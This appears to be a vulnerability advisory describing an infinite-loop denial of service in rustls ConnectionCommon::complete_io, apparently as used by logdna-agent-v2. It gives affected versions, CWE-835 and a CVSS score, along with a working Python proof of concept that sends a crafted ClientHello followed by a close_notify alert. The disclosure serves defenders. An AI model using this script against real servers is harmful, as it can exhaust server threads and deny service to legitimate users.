fix: Infinite loop in rustls::conn::ConnectionCommon::complete_io() with proper client input

[imhunterand]

Summary

The project logdna/logdna-agent-v2 used rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input. Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.

When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:

• eof: false
• until_handshaked: true
• self.is_handshaking(): true
• self.wants_write(): false
• self.wants_read(): false

#!/usr/bin/env python3

import socket

sock = socket.socket()
sock.connect(("localhost", 4443))

print("Sending client hello...")

# Fake handshake data of a client hello message.
fake_handshake = """
1603 0100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200 001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035 000a 0100 007f
dada 0000 ff01 0001 0000 0000 1600 1400
0011 7777 772e 7769 6b69 7065 6469 612e
6f72 6700 1700 0000 2300 0000 0d00 1400
1204 0308 0404 0105 0308 0505 0108 0606
0102 0100 0500 0501 0000 0000 0012 0000
0010 000e 000c 0268 3208 6874 7470 2f31
2e31 7550 0000 000b 0002 0100 000a 000a
0008 1a1a 001d 0017 0018 1a1a 0001 00
"""


def parse_fake_handshake():
    i = 0
    data = bytearray()
    while i < len(fake_handshake):
        while i < len(fake_handshake) and fake_handshake[i].isspace():
            i += 1
        if i >= len(fake_handshake):
            return data

        c1 = fake_handshake[i]
        c2 = fake_handshake[i + 1]
        i += 2

        data.append(int(c1, 16) * 16 + int(c2, 16))
    return data


data = parse_fake_handshake()

print("exploited client hello:", data)

sock.send(data)

# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15, 0x03, 0x03, 0x00, 0x02, 0x01, 0x00])
print(f"close_notify is {close_data}")
sock.send(close_data)
print("close_notify sent")

exit(0)

You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning. A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.

CWE-835
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H